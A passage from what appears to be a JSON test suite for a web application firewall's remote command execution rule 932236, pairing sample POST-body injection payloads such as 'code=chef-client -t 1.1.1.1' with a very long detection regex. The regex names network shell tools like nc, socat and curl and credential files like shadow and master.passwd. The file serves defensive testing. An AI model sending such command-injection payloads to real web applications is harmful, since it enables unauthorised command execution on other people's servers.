s\\x0b&\\),<>\\|]|$)|b_release)|ua(?:[\\s\\x0b&\\),<>\\|]|$|(?:la)?tex)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$|c(?:[\\s\\x0b&\\),<>\\|]|$|at))|(?:c(?:at|mp))?(?:[\\s\\x0b&\\),<>\\|]|$)|diff|[ef]?grep|less|m(?:a(?:[\\s\\x0b&\\),<>\\|]|$|dec|info)|ore))|a(?:st(?:[\\s\\x0b&\\),<>\\|]|$|comm(?:[\\s\\x0b&\\),<>\\|]|$)|log(?:in)?)|tex(?:[\\s\\x0b&\\),<>\\|]|$))|ess(?:[\\s\\x0b&\\),<>\\|]|$|echo|(?:fil|pip)e)|ftp(?:[\\s\\x0b&\\),<>\\|]|$|get)|o(?:(?:ca(?:l|te)|ok)(?:[\\s\\x0b&\\),<>\\|]|$)|g(?:inctl|(?:nam|sav)e)|setup)|trace|wp-(?:d(?:ownload|ump)|mirror|request))|m(?:a(?:(?:n|il[qx]|ke|wk)(?:[\\s\\x0b&\\),<>\\|]|$)|ster\\.passwd)|(?:tr|v|utt)(?:[\\s\\x0b&\\),<>\\|]|$)|k(?:(?:dir|nod)(?:[\\s\\x0b&\\),<>\\|]|$)|fifo|temp)|locate|o(?:squitto|unt(?:[\\s\\x0b&\\),<>\\|]|$))|sg(?:attrib|c(?:at|onv)|filter|merge|uniq)|ysql(?:[\\s\\x0b&\\),<>\\|]|$|admin|dump(?:slow)?|hotcopy|show))|n(?:c(?:[\\s\\x0b&\\),<>\\|]|$|\\.(?:openbsd|traditional)|at(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:t(?:[\\s\\x0b&\\),<>\\|]|$|(?:c|st)at|kit-ftp|plan)|ofetch)|(?:l|p(?:m|ing)|a(?:no|sm|wk)|ice|o(?:de|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|ql)(?:[\\s\\x0b&\\),<>\\|]|$)|ftp)|y(?:3?versions|thon(?:[23]|[^\\s\\x0b]{1,10}\\b)))|r(?:(?:a(?:r|k[eu])|bash|nano|oute|vi(?:ew|m))(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:[\\s\\x0b&\\),<>\\|]|$|p(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:d(?:[\\s\\x0b&\\),<>\\|]|$|carpet(?:[\\s\\x0b&\\),<>\\|]|$))|(?:v|boot|place)(?:[\\s\\x0b&\\),<>\\|]|$)|a(?:delf|lpath)|stic)|m(?:[\\s\\x0b&\\),<>\\|]|$|t(?:[\\s\\x0b&\\),<>\\|]|$|-(?:dump|tar))|dir(?:[\\s\\x0b&\\),<>\\|]|$)|user)|pm(?:[\\s\\x0b&\\),<>\\|]|$|db(?:[\\s\\x0b&\\),<>\\|]|$)|(?:quer|verif)y)|l(?:ogin|wrap)|sync(?:-ssl|[\\s\\x0b&\\),<>\\|]|$)|u(?:by[^\\s\\x0b]{1,10}\\b|n(?:-(?:mailcap|parts)|c(?:[\\s\\x0b&\\),<>\\|]|$))))|s(?:(?:c(?:p|hed|ript)|g|ash|diff|(?:ft|na)p|l(?:eep|sh))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:(?:d|ndmail|rvice)(?:[\\s\\x0b&\\),<>\\|]|$)|t(?:[\\s\\x0b&\\),<>\\|]|$|arch|cap|env|facl(?:[\\s\\x0b&\\),<>\\|]|$)|sid))|h(?:[\\s\\x0b&\\),<>\\|]|$|\\.distrib|(?:adow|ells|u(?:f|tdown))(?:[\\s\\x0b&\\),<>\\|]|$))|sh(?:[\\s\\x0b&\\),<>\\|]|$|-(?:a(?:dd|gent)|copy-id|key(?:ge|sca)n)|pass)|u(?:[\\s\\x0b&\\),<>\\|]|$|do(?:-rs|[\\s\\x0b&\\),<>_\\|]|$|edit|replay))|vn(?:[\\s\\x0b&\\),<>\\|]|$|a(?:dmin|uthz)|bench|dumpfilter|fsfs|look|mucc|rdump|s(?:erve|ync)|version)|mbclient|o(?:cat(?:[\\s\\x0b&\\),<>\\|]|$)|elim)|p(?:lit(?:[\\s\\x0b&\\),<>\\|]|$)|wd\\.db)|qlite3|t(?:art-stop-daemon|d(?:buf|err|in(?:[\\s\\x0b&\\),<>\\|]|$)|out)|r(?:ace|ings(?:[\\s\\x0b&\\),<>\\|]|$)))|ys(?:ctl|tem(?:ctl|d-resolve)))|t(?:a(?:[cr](?:[\\s\\x0b&\\),<>\\|]|$)|il(?:[\\s\\x0b&\\),<>\\|]|$|f(?:[\\s\\x0b&\\),<>\\|]|$))|skset)|(?:bl|o(?:p|uch)|ftp|mux)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:p(?:[\\s\\x0b&\\),<>\\|]|$|dump|ing|traceroute)|l?sh(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:[ex](?:[\\s\\x0b&\\),<>\\|]|$)|lnet)|i(?:c(?:[\\s\\x0b&\\),<>\\|]|$)|medatectl)|r(?:aceroute6?|off(?:[\\s\\x0b&\\),<>\\|]|$))|shark)|u(?:dp(?:[\\s\\x0b&\\),<>\\|]|$)|l(?:[\\s\\x0b&\\),<>\\|]|$|imit(?:[\\s\\x0b&\\),<>\\|]|$))|n(?:(?:compress|iq|rar|s(?:et|hare)|xz)(?:[\\s\\x0b&\\),<>\\|]|$)|expand|l(?:ink(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$)|ma))|pigz|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$)|std))|pdate-alternatives|ser(?:(?:ad|mo)d|del)|u(?:de|en)code)|v(?:i(?:m(?:[\\s\\x0b&\\),<>\\|]|$|diff)|(?:gr|pw|rsh)(?:[\\s\\x0b&\\),<>\\|]|$)|sudo(?:-rs)?)|algrind|olatility(?:[\\s\\x0b&\\),<>\\|]|$))|w(?:(?:3m|c|atch|get)(?:[\\s\\x0b&\\),<>\\|]|$)|h(?:iptail(?:[\\s\\x0b&\\),<>\\|]|$)|oami)|i(?:reshark|sh(?:[\\s\\x0b&\\),<>\\|]|$)))|x(?:(?:(?:x|pa)d|args|term)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:[\\s\\x0b&\\),<>\\|]|$|c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:ec(?:[\\s\\x0b&\\),<>\\|]|$)|iff)|[ef]?grep|less|more)|e(?:latex|tex(?:[\\s\\x0b&\\),<>\\|]|$))|mo(?:dmap|re(?:[\\s\\x0b&\\),<>\\|]|$)))|y(?:um|arn|elp)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$|c(?:loak|mp)|details|grep|info|(?:merg|not)e|split|tool)|s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|oelim|td(?:[\\s\\x0b&\\),<>\\|]|$|(?:ca|m)t|grep|less))|athura|(?:c(?:at|mp)|diff|grep|less|run)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:grep|ro(?:[\\s\\x0b&\\),<>\\|]|$))|fgrep|mo(?:dload|re(?:[\\s\\x0b&\\),<>\\|]|$))|ypper))", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932236", "test_description": "Block execution chef recipie book" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "code=chef-client -t 1.1.1.1\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:^|b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{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b&\\),<>\\|]|$))|lkid(?:[\\s\\x0b&\\),<>\\|]|$)|pftrace|r(?:eaksw|(?:idge|wap)(?:[\\s\\x0b&\\),<>\\|]|$))|sd(?:cat|iff|tar)|u(?:iltin|n(?:dler(?:[\\s\\x0b&\\),<>\\|]|$)|zip2)|s(?:ctl|ybox))|y(?:ebug|obu(?:[\\s\\x0b&\\),<>\\|]|$)))|c(?:[89]9(?:[\\s\\x0b&\\),<>\\|]|$|-gcc)|(?:a(?:t|ncel|psh)|c|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:[\\s\\x0b&\\),<>\\|]|$|(?:an|io)(?:[\\s\\x0b&\\),<>\\|]|$)|ulimit)|s(?:(?:h|cli)(?:[\\s\\x0b&\\),<>\\|]|$)|plit|vtool)|u(?:(?:t|rl)(?:[\\s\\x0b&\\),<>\\|]|$)|psfilter)|ertbot|h(?:(?:(?:att|di)r|mod|o(?:om|wn)|root|sh)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ck_(?:by_ssh|cups|log|memory|raid|s(?:sl_cert|tatusfile))|f(?:[\\s\\x0b&\\),\\-<>\\|]|$))|(?:flag|pas)s|g(?:passwd|rp(?:[\\s\\x0b&\\),<>\\|]|$)))|lang(?:\\+\\+|[\\s\\x0b&\\),<>\\|]|$)|o(?:bc(?:[\\s\\x0b&\\),<>\\|]|$|run)|lumn(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:m(?:[\\s\\x0b&\\),<>\\|]|$|and(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:oser|ress)(?:[\\s\\x0b&\\),<>\\|]|$))|proc|w(?:say|think))|r(?:ash(?:[\\s\\x0b&\\),<>\\|]|$)|ontab))|d(?:(?:[dfu]|i(?:(?:alo)?g|ff)|ash|vips)(?:[\\s\\x0b&\\),<>\\|]|$)|hclient|m(?:esg(?:[\\s\\x0b&\\),<>\\|]|$)|idecode|setup)|o(?:(?:as|ne)(?:[\\s\\x0b&\\),<>\\|]|$)|cker(?:[\\s\\x0b&\\),\\-<>\\|]|$)|sbox)|pkg(?:[\\s\\x0b&\\),\\-<>\\|]|$))|e(?:(?:b|qn|cho|fax|grep|macs|val)(?:[\\s\\x0b&\\),<>\\|]|$)|n(?:v(?:[\\s\\x0b&\\),<>\\|]|$|-update)|d(?:if|sw)(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:[\\s\\x0b&\\),<>\\|]|$|(?:h|ac)(?:[\\s\\x0b&\\),<>\\|]|$))|x(?:[\\s\\x0b&\\),<>\\|]|$|(?:ec|p(?:and|(?:ec|or)t|r))(?:[\\s\\x0b&\\),<>\\|]|$)|iftool)|2fsck|asy_install)|f(?:(?:c|mt|etch|lock|unction)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:[\\s\\x0b&\\),<>\\|]|$|(?:find|isk)(?:[\\s\\x0b&\\),<>\\|]|$)|u?mount)|g(?:[\\s\\x0b&\\),<>\\|]|$|rep(?:[\\s\\x0b&\\),<>\\|]|$))|i(?:[\\s\\x0b&\\),<>\\|]|$|letest|(?:n(?:d|ger)|sh)(?:[\\s\\x0b&\\),<>\\|]|$))|tp(?:[\\s\\x0b&\\),<>\\|]|$|stats|who)|acter|o(?:ld(?:[\\s\\x0b&\\),<>\\|]|$)|reach)|ping(?:[\\s\\x0b&\\),6<>\\|]|$))|g(?:c(?:c[^\\s\\x0b]{1,10}\\b|ore(?:[\\s\\x0b&\\),<>\\|]|$))|(?:db|i(?:t|mp|nsh)|o|pg|awk|z(?:cat|exe|ip))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:m(?:[\\s\\x0b&\\),<>\\|]|$)|ni(?:e(?:[\\s\\x0b&\\),<>\\|]|$)|soimage)|t(?:cap|facl(?:[\\s\\x0b&\\),<>\\|]|$)))|hc(?:[\\s\\x0b&\\),<>\\|]|$|-(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:[\\s\\x0b&\\),\\-<>\\|]|$))|r(?:c(?:[\\s\\x0b&\\),<>\\|]|$|at(?:[\\s\\x0b&\\),<>\\|]|$))|ep(?:[\\s\\x0b&\\),<>\\|]|$)|oup(?:[\\s\\x0b&\\),<>\\|]|$|mod))|tester|unzip)|h(?:(?:d|up|i(?:ghlight|story))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ad(?:[\\s\\x0b&\\),<>\\|]|$)|xdump)|ost(?:id|name)|ping3|t(?:digest|op(?:[\\s\\x0b&\\),<>\\|]|$)|passwd))|i(?:p(?:[\\s\\x0b&\\),<>\\|]|$|6?tables|config|p(?:eveprinter|find|tool))|(?:rb|conv)(?:[\\s\\x0b&\\),<>\\|]|$)|f(?:config|top(?:[\\s\\x0b&\\),<>\\|]|$))|onice|spell)|j(?:(?:js|q|exec)(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:(?:bs|in)(?:[\\s\\x0b&\\),<>\\|]|$)|urnalctl)|runscript)|k(?:s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|shell)|ill(?:[\\s\\x0b&\\),<>\\|]|$|all)|nife(?:[\\s\\x0b&\\),<>\\|]|$))|l(?:d(?:[\\s\\x0b&\\),<>\\|]|$|d(?:[\\s\\x0b&\\),<>\\|]|$)|config)|(?:[np]|inks|ynx)(?:[\\s\\x0b&\\),<>\\|]|$)|s(?:[\\s\\x0b&\\),<>\\|]|$|(?:-F|cpu|hw|mod|of|pci|usb)(?:[\\s\\x0b&\\),<>\\|]|$)|b_release)|ua(?:[\\s\\x0b&\\),<>\\|]|$|(?:la)?tex)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$|c(?:[\\s\\x0b&\\),<>\\|]|$|at))|(?:c(?:at|mp))?(?:[\\s\\x0b&\\),<>\\|]|$)|diff|[ef]?grep|less|m(?:a(?:[\\s\\x0b&\\),<>\\|]|$|dec|info)|ore))|a(?:st(?:[\\s\\x0b&\\),<>\\|]|$|comm(?:[\\s\\x0b&\\),<>\\|]|$)|log(?:in)?)|tex(?:[\\s\\x0b&\\),<>\\|]|$))|ess(?:[\\s\\x0b&\\),<>\\|]|$|echo|(?:fil|pip)e)|ftp(?:[\\s\\x0b&\\),<>\\|]|$|get)|o(?:(?:ca(?:l|te)|ok)(?:[\\s\\x0b&\\),<>\\|]|$)|g(?:inctl|(?:nam|sav)e)|setup)|trace|wp-(?:d(?:ownload|ump)|mirror|request))|m(?:a(?:(?:n|il[qx]|ke|wk)(?:[\\s\\x0b&\\),<>\\|]|$)|ster\\.passwd)|(?:tr|v|utt)(?:[\\s\\x0b&\\),<>\\|]|$)|k(?:(?:dir|nod)(?:[\\s\\x0b&\\),<>\\|]|$)|fifo|temp)|locate|o(?:squitto|unt(?:[\\s\\x0b&\\),<>\\|]|$))|sg(?:attrib|c(?:at|onv)|filter|merge|uniq)|ysql(?:[\\s\\x0b&\\),<>\\|]|$|admin|dump(?:slow)?|hotcopy|show))|n(?:c(?:[\\s\\x0b&\\),<>\\|]|$|\\.(?:openbsd|traditional)|at(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:t(?:[\\s\\x0b&\\),<>\\|]|$|(?:c|st)at|kit-ftp|plan)|ofetch)|(?:l|p(?:m|ing)|a(?:no|sm|wk)|ice|o(?:de|hup)|roff)(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:[\\s\\x0b&\\),<>\\|]|$|ap(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:enter|lookup|tat(?:[\\s\\x0b&\\),<>\\|]|$)))|o(?:(?:d|ctave)(?:[\\s\\x0b&\\),<>\\|]|$)|nintr|p(?:en(?:ssl|v(?:pn|t))|kg(?:[\\s\\x0b&\\),<>\\|]|$)))|p(?:a(?:(?:x|rted|tch)(?:[\\s\\x0b&\\),<>\\|]|$)|s(?:swd|te(?:[\\s\\x0b&\\),<>\\|]|$)))|d(?:b(?:[\\s\\x0b&\\),<>\\|]|$|2mb|3(?:[\\s\\x0b&\\),\\.<>\\|]|$))|f(?:la)?tex|ksh(?:[\\s\\x0b&\\),<>\\|]|$))|f(?:[\\s\\x0b&\\),<>\\|]|$|tp(?:[\\s\\x0b&\\),<>\\|]|$))|i(?:c(?:[\\s\\x0b&\\),<>\\|]|$|o(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:[^\\s\\x0b]{1,10}\\b|[\\s\\x0b&\\),<>\\|]|$)|dstat|(?:gz|ng6?)(?:[\\s\\x0b&\\),<>\\|]|$))|k(?:g(?:[\\s\\x0b&\\),<>\\|]|$|_?info)|exec|ill(?:[\\s\\x0b&\\),<>\\|]|$))|r(?:[\\s\\x0b&\\),<>\\|]|$|y(?:[\\s\\x0b&\\),<>\\|]|$)|int(?:env|f(?:[\\s\\x0b&\\),<>\\|]|$)))|t(?:x(?:[\\s\\x0b&\\),<>\\|]|$)|ar(?:[\\s\\x0b&\\),<>\\|]|$|diff|grep))|wd(?:[\\s\\x0b&\\),<>\\|]|$|\\.db)|(?:xz|grep|opd|u(?:ppet|shd))(?:[\\s\\x0b&\\),<>\\|]|$)|er(?:(?:f|ms)(?:[\\s\\x0b&\\),<>\\|]|$)|l(?:5?(?:[\\s\\x0b&\\),<>\\|]|$)|sh))|hp(?:-cgi|[57](?:[\\s\\x0b&\\),<>\\|]|$))|s(?:(?:ed|ql)(?:[\\s\\x0b&\\),<>\\|]|$)|ftp)|y(?:3?versions|thon(?:[23]|[^\\s\\x0b]{1,10}\\b)))|r(?:(?:a(?:r|k[eu])|bash|nano|oute|vi(?:ew|m))(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:[\\s\\x0b&\\),<>\\|]|$|p(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:d(?:[\\s\\x0b&\\),<>\\|]|$|carpet(?:[\\s\\x0b&\\),<>\\|]|$))|(?:v|boot|place)(?:[\\s\\x0b&\\),<>\\|]|$)|a(?:delf|lpath)|stic)|m(?:[\\s\\x0b&\\),<>\\|]|$|t(?:[\\s\\x0b&\\),<>\\|]|$|-(?:dump|tar))|dir(?:[\\s\\x0b&\\),<>\\|]|$)|user)|pm(?:[\\s\\x0b&\\),<>\\|]|$|db(?:[\\s\\x0b&\\),<>\\|]|$)|(?:quer|verif)y)|l(?:ogin|wrap)|sync(?:-ssl|[\\s\\x0b&\\),<>\\|]|$)|u(?:by[^\\s\\x0b]{1,10}\\b|n(?:-(?:mailcap|parts)|c(?:[\\s\\x0b&\\),<>\\|]|$))))|s(?:(?:c(?:p|hed|ript)|g|ash|diff|(?:ft|na)p|l(?:eep|sh))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:(?:d|ndmail|rvice)(?:[\\s\\x0b&\\),<>\\|]|$)|t(?:[\\s\\x0b&\\),<>\\|]|$|arch|cap|env|facl(?:[\\s\\x0b&\\),<>\\|]|$)|sid))|h(?:[\\s\\x0b&\\),<>\\|]|$|\\.distrib|(?:adow|ells|u(?:f|tdown))(?:[\\s\\x0b&\\),<>\\|]|$))|sh(?:[\\s\\x0b&\\),<>\\|]|$|-(?:a(?:dd|gent)|copy-id|key(?:ge|sca)n)|pass)|u(?:[\\s\\x0b&\\),<>\\|]|$|do(?:-rs|[\\s\\x0b&\\),<>_\\|]|$|edit|replay))|vn(?:[\\s\\x0b&\\),<>\\|]|$|a(?:dmin|uthz)|bench|dumpfilter|fsfs|look|mucc|rdump|s(?:erve|ync)|version)|mbclient|o(?:cat(?:[\\s\\x0b&\\),<>\\|]|$)|elim)|p(?:lit(?:[\\s\\x0b&\\),<>\\|]|$)|wd\\.db)|qlite3|t(?:art-stop-daemon|d(?:buf|err|in(?:[\\s\\x0b&\\),<>\\|]|$)|out)|r(?:ace|ings(?:[\\s\\x0b&\\),<>\\|]|$)))|ys(?:ctl|tem(?:ctl|d-resolve)))|t(?:a(?:[cr](?:[\\s\\x0b&\\),<>\\|]|$)|il(?:[\\s\\x0b&\\),<>\\|]|$|f(?:[\\s\\x0b&\\),<>\\|]|$))|skset)|(?:bl|o(?:p|uch)|ftp|mux)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:p(?:[\\s\\x0b&\\),<>\\|]|$|dump|ing|traceroute)|l?sh(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:[ex](?:[\\s\\x0b&\\),<>\\|]|$)|lnet)|i(?:c(?:[\\s\\x0b&\\),<>\\|]|$)|medatectl)|r(?:aceroute6?|off(?:[\\s\\x0b&\\),<>\\|]|$))|shark)|u(?:dp(?:[\\s\\x0b&\\),<>\\|]|$)|l(?:[\\s\\x0b&\\),<>\\|]|$|imit(?:[\\s\\x0b&\\),<>\\|]|$))|n(?:(?:compress|iq|rar|s(?:et|hare)|xz)(?:[\\s\\x0b&\\),<>\\|]|$)|expand|l(?:ink(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$)|ma))|pigz|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$)|std))|pdate-alternatives|ser(?:(?:ad|mo)d|del)|u(?:de|en)code)|v(?:i(?:m(?:[\\s\\x0b&\\),<>\\|]|$|diff)|(?:gr|pw|rsh)(?:[\\s\\x0b&\\),<>\\|]|$)|sudo(?:-rs)?)|algrind|olatility(?:[\\s\\x0b&\\),<>\\|]|$))|w(?:(?:3m|c|atch|get)(?:[\\s\\x0b&\\),<>\\|]|$)|h(?:iptail(?:[\\s\\x0b&\\),<>\\|]|$)|oami)|i(?:reshark|sh(?:[\\s\\x0b&\\),<>\\|]|$)))|x(?:(?:(?:x|pa)d|args|term)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:[\\s\\x0b&\\),<>\\|]|$|c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:ec(?:[\\s\\x0b&\\),<>\\|]|$)|iff)|[ef]?grep|less|more)|e(?:latex|tex(?:[\\s\\x0b&\\),<>\\|]|$))|mo(?:dmap|re(?:[\\s\\x0b&\\),<>\\|]|$)))|y(?:um|arn|elp)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$|c(?:loak|mp)|details|grep|info|(?:merg|not)e|split|tool)|s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|oelim|td(?:[\\s\\x0b&\\),<>\\|]|$|(?:ca|m)t|grep|less))|athura|(?:c(?:at|mp)|diff|grep|less|run)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:grep|ro(?:[\\s\\x0b&\\),<>\\|]|$))|fgrep|mo(?:dload|re(?:[\\s\\x0b&\\),<>\\|]|$))|ypper))", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932236", "test_description": "Block execution chef recipie book against a specific node" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "code=chef report nodes\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:^|b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?y[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\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\\|]|$|[arx](?:[\\s\\x0b&\\),<>\\|]|$))|a(?:a-[^\\s\\x0b]{1,10}\\b|(?:b|w[ks]|l(?:ias|pine)|tobm|xel)(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:t(?:[\\s\\x0b&\\),<>\\|]|$|-get)|parmor_[^\\s\\x0b]{1,10}\\b)|r(?:[\\s\\x0b&\\),<>\\|]|$|j(?:[\\s\\x0b&\\),<>\\|]|$|-register|disp)|(?:p|ch)(?:[\\s\\x0b&\\),<>\\|]|$)|ia2c)|s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|cii(?:-xfr|85)|pell)|dd(?:group|user)|getty|nsible|u(?:ditctl|repot|search))|b(?:z(?:(?:z|c(?:at|mp))(?:[\\s\\x0b&\\),<>\\|]|$)|diff|e(?:grep|xe(?:[\\s\\x0b&\\),<>\\|]|$))|f?grep|ip2(?:[\\s\\x0b&\\),<>\\|]|$|recover)|less|more)|a(?:s(?:e(?:32|64|n(?:ame(?:[\\s\\x0b&\\),<>\\|]|$)|c))|h(?:[\\s\\x0b&\\),<>\\|]|$))|tch(?:[\\s\\x0b&\\),<>\\|]|$))|lkid(?:[\\s\\x0b&\\),<>\\|]|$)|pftrace|r(?:eaksw|(?:idge|wap)(?:[\\s\\x0b&\\),<>\\|]|$))|sd(?:cat|iff|tar)|u(?:iltin|n(?:dler(?:[\\s\\x0b&\\),<>\\|]|$)|zip2)|s(?:ctl|ybox))|y(?:ebug|obu(?:[\\s\\x0b&\\),<>\\|]|$)))|c(?:[89]9(?:[\\s\\x0b&\\),<>\\|]|$|-gcc)|(?:a(?:t|ncel|psh)|c|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:[\\s\\x0b&\\),<>\\|]|$|(?:an|io)(?:[\\s\\x0b&\\),<>\\|]|$)|ulimit)|s(?:(?:h|cli)(?:[\\s\\x0b&\\),<>\\|]|$)|plit|vtool)|u(?:(?:t|rl)(?:[\\s\\x0b&\\),<>\\|]|$)|psfilter)|ertbot|h(?:(?:(?:att|di)r|mod|o(?:om|wn)|root|sh)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ck_(?:by_ssh|cups|log|memory|raid|s(?:sl_cert|tatusfile))|f(?:[\\s\\x0b&\\),\\-<>\\|]|$))|(?:flag|pas)s|g(?:passwd|rp(?:[\\s\\x0b&\\),<>\\|]|$)))|lang(?:\\+\\+|[\\s\\x0b&\\),<>\\|]|$)|o(?:bc(?:[\\s\\x0b&\\),<>\\|]|$|run)|lumn(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:m(?:[\\s\\x0b&\\),<>\\|]|$|and(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:oser|ress)(?:[\\s\\x0b&\\),<>\\|]|$))|proc|w(?:say|think))|r(?:ash(?:[\\s\\x0b&\\),<>\\|]|$)|ontab))|d(?:(?:[dfu]|i(?:(?:alo)?g|ff)|ash|vips)(?:[\\s\\x0b&\\),<>\\|]|$)|hclient|m(?:esg(?:[\\s\\x0b&\\),<>\\|]|$)|idecode|setup)|o(?:(?:as|ne)(?:[\\s\\x0b&\\),<>\\|]|$)|cker(?:[\\s\\x0b&\\),\\-<>\\|]|$)|sbox)|pkg(?:[\\s\\x0b&\\),\\-<>\\|]|$))|e(?:(?:b|qn|cho|fax|grep|macs|val)(?:[\\s\\x0b&\\),<>\\|]|$)|n(?:v(?:[\\s\\x0b&\\),<>\\|]|$|-update)|d(?:if|sw)(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:[\\s\\x0b&\\),<>\\|]|$|(?:h|ac)(?:[\\s\\x0b&\\),<>\\|]|$))|x(?:[\\s\\x0b&\\),<>\\|]|$|(?:ec|p(?:and|(?:ec|or)t|r))(?:[\\s\\x0b&\\),<>\\|]|$)|iftool)|2fsck|asy_install)|f(?:(?:c|mt|etch|lock|unction)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:[\\s\\x0b&\\),<>\\|]|$|(?:find|isk)(?:[\\s\\x0b&\\),<>\\|]|$)|u?mount)|g(?:[\\s\\x0b&\\),<>\\|]|$|rep(?:[\\s\\x0b&\\),<>\\|]|$))|i(?:[\\s\\x0b&\\),<>\\|]|$|letest|(?:n(?:d|ger)|sh)(?:[\\s\\x0b&\\),<>\\|]|$))|tp(?:[\\s\\x0b&\\),<>\\|]|$|stats|who)|acter|o(?:ld(?:[\\s\\x0b&\\),<>\\|]|$)|reach)|ping(?:[\\s\\x0b&\\),6<>\\|]|$))|g(?:c(?:c[^\\s\\x0b]{1,10}\\b|ore(?:[\\s\\x0b&\\),<>\\|]|$))|(?:db|i(?:t|mp|nsh)|o|pg|awk|z(?:cat|exe|ip))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:m(?:[\\s\\x0b&\\),<>\\|]|$)|ni(?:e(?:[\\s\\x0b&\\),<>\\|]|$)|soimage)|t(?:cap|facl(?:[\\s\\x0b&\\),<>\\|]|$)))|hc(?:[\\s\\x0b&\\),<>\\|]|$|-(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:[\\s\\x0b&\\),\\-<>\\|]|$))|r(?:c(?:[\\s\\x0b&\\),<>\\|]|$|at(?:[\\s\\x0b&\\),<>\\|]|$))|ep(?:[\\s\\x0b&\\),<>\\|]|$)|oup(?:[\\s\\x0b&\\),<>\\|]|$|mod))|tester|unzip)|h(?:(?:d|up|i(?:ghlight|story))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ad(?:[\\s\\x0b&\\),<>\\|]|$)|xdump)|ost(?:id|name)|ping3|t(?:digest|op(?:[\\s\\x0b